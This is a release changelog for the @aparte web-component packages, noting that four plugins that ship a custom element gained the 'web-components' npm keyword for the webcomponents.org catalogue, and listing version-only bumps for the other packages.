The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now.
@aparte/core -
21dd3bc: The four plugins that ship a custom element now carry the
web-componentsnpm keyword; nothing changes in the code you import.Each already pointed
customElementsat its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there.@aparte/plugin-approval,@aparte/plugin-artifacts,@aparte/plugin-ask-user,@aparte/plugin-model-selector
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.